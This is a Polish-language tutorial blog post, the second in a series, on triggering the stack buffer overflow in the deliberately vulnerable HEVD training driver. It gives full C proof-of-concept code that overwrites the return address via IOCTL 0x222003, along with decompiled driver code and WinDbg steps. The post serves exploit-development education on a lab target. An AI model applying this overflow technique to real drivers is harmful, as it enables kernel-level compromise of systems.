[PL] HEVD Stack Buffer Overflow #2 - Nadpisanie adresu powrotu
W poprzednim artykule poddaliśmy ocenie podatność przepełnienia stosu w sterowniku HEVD. Dzięki analizie z poziomu assemblera udało się określić potrzebny rozmiar przepełnienia zmiennej lokalnej by nadpisać adres powrotu.
W tym poście faktycznie “dotkniemy” już sterownika, i spróbujemy zmienić adres powrotu rozkazu ret
Weryfikacja podatności
Aby zweryfikować podatność, przekażmy sterownikowi bufor o rozmiarze 2080 bajtów, z bajtami 2072-2079 ustawionymi na 0x0123456789ABCDEF - przykładowy 64 bitowy adres powrotu
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <stdio.h>
#include <Windows.h>
#include <stdint.h>
#define ull uint64_t
HANDLE getHandle() {
HANDLE hDriver = CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", // Symlink do sterownika
GENERIC_READ | GENERIC_WRITE, // Pełne uprawnienia dostępu
0,
NULL,
OPEN_EXISTING, // Uzyskujemy dostęp wyłącznie do istniejącego obiektu
0,
NULL
);
if (hDriver == INVALID_HANDLE_VALUE) {
DWORD err = GetLastError();
printf("[!] Nieudana próba uzyskania handle do sterownika, error: %d\n", err);
exit(1);
}
printf("[+] Uzyskano handle do sterownika\n");
return hDriver;
}
LPVOID fillPattern(int inBufferSize) {
// Alokujemy pamięć, której adres przekażemy do metody sterownika
LPVOID inBuffer = VirtualAlloc(NULL, // Bez określonego adresu początkowego
inBufferSize, // Liczba bajtów do alokacji
MEM_COMMIT | MEM_RESERVE, // Rezerwacja i inicjalizacja pamięci
PAGE_EXECUTE_READWRITE // Pamięć posiada pełne uprawnienia do modyfikacji oraz wykonywania
);
if (inBuffer == NULL) {
DWORD err = GetLastError();
printf("[!] Nieudało się zaalokować pamięci, error: %d\n", err);
exit(1);
}
printf("[+] Pomyślnie zaalokowano %d bajtów pamięci\n", inBufferSize);
RtlFillMemory(inBuffer, inBufferSize, 'A'); // Zawartość pamięci wypełniamy literami ascii 'A'
return inBuffer;
}
int main()
{
HANDLE hDriver = getHandle(); // Uzyskujemy handle do komunikacji ze sterownikiem
//Alokujemy pamięć, która trafi na stos
const int inBufferSize = 2080; // ilość bajtów które potrzebujemy zaalokować by nadpisać adres powrotu
LPVOID inBuffer = fillPattern(inBufferSize);
//wskaźnik na adres powrotu
ull* stackVertice = (ull*)((ull)inBuffer + 2072);
*(stackVertice) = (ull)0x0123456789ABCDEF;
DeviceIoControl(hDriver, // Handle do sterownika
0x222003, // Kod IOCTL funkcji BufferOverflowStackIoctlHandler
(LPVOID)inBuffer, // Nasz bufor wejściowy
inBufferSize, // Rozmiar buforu wejściowego
NULL, // Brak buforu wyjściowego
0,
NULL,
NULL
);
return 0;
}
Kod wymaga wyjaśnień, w szczególności tych dwóch “magicznych” wartości:
L"\\\\.\\HacksysExtremeVulnerableDriver" // Symlink do sterownika0x222003, // Kod IOCTL funkcji BufferOverflowStackIoctlHandler
Przyjrzyjmy się funkcji DriverEntry sterownika HEVD.
1
2
3
4
5
6
long __cdecl DriverEntry(_DRIVER_OBJECT *param_1,_UNICODE_STRING *param_2)
//...
RtlInitUnicodeString(local_18,L"\\Device\\HackSysExtremeVulnerableDriver");
RtlInitUnicodeString(&local_28,L"\\DosDevices\\HackSysExtremeVulnerableDriver");
Widzimy, że łącze symboliczne do sterownika to “HackSysExtremeVulnerableDriver”. Prefix “\\.\” zastosowany w naszym kodzie to odwołanie się do Menedżera obiektów.
Wiemy już jak odwołać się do sterownika, natomiast nie powiedzieliśmy jeszcze jaką funkcję chcemy wykonać. Aby to zrobić znajdźmy wpierw kod IOCTL funkcji BufferOverflowStackIoctlHandler
1
2
3
4
5
6
7
8
9
long __cdecl IrpDeviceIoCtlHandler(_DEVICE_OBJECT *param_1,_IRP *param_2)
//...
else if (uVar1 == 0x222003) {
DbgPrintEx(0x4d,3,"****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
lVar3 = BufferOverflowStackIoctlHandler(param_2,p_Var2);
pcVar4 = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n";
}
Funkcja IrpDeviceIoCtlHandler przetwarza otrzymany pakiet IRP (I/O Request Packet) i steruje dalszym wykonaniem.
Wewnątrz znajduje się instrukcja warunkowa (switch), która wywołuje odpowiednią funkcję na podstawie kodu sterującego zapisanego w zmiennej uVar1.
Jak widać, kod IOCTL dla funkcji BufferOverflowStackIoctlHandler to 0x222003.
Rezultaty wykonania
Aby wyświetlały nam się komunikaty DbgPrint od sterownika HEVD w konsoli WinDbg, konieczne jest wprowadzenie w nim takiego polecenia:
1
ed nt!Kd_IHVDRIVER_Mask 8
Jeżeli po wczytaniu sterownika wyświetliła się taka wiadomość. To znaczy, że wszystko jest skonfigurowane jak należy :). Skrypt uruchamiający sterownik znajdziecie na moim githubie: TUTAJ
Następnym krokiem jest ustawienie breakpointu na rozkazie ret w funkcji TriggerBufferOverflowStack.
Znowu przyda nam się WinDbg:
1
x HEVD!TriggerBufferOverflowStack
Po ustawieniu breakpointu możemy uruchomić nasz program.
Udało nam się ustawić adres powrotu na wierzchołek stosu 🥳. Wykonanie instrukcji powoduje bluescreen UNEXPECTED_KERNEL_MODE_TRAP, ponieważ adres jest niepoprawny.
Wykonałem również ten sam program, nadpisując tym razem 2104 bajty, czyli zmieniający stany rejestrów zapisane w shadow space. Zgodnie z oczekiwaniami rejestry: RBX, RSI, RDI, R12, R14, R15 zostały nadpisane.
W następnym blogu, spróbujemy wykonać dowolne ustalone przez nas polecenia (Arbitrary Code Execution) z poziomu Ring 0. Zastosujemy również moim zdaniem najbardziej “fun” metodykę w eksploatacji czyli ROP Chaining :D.



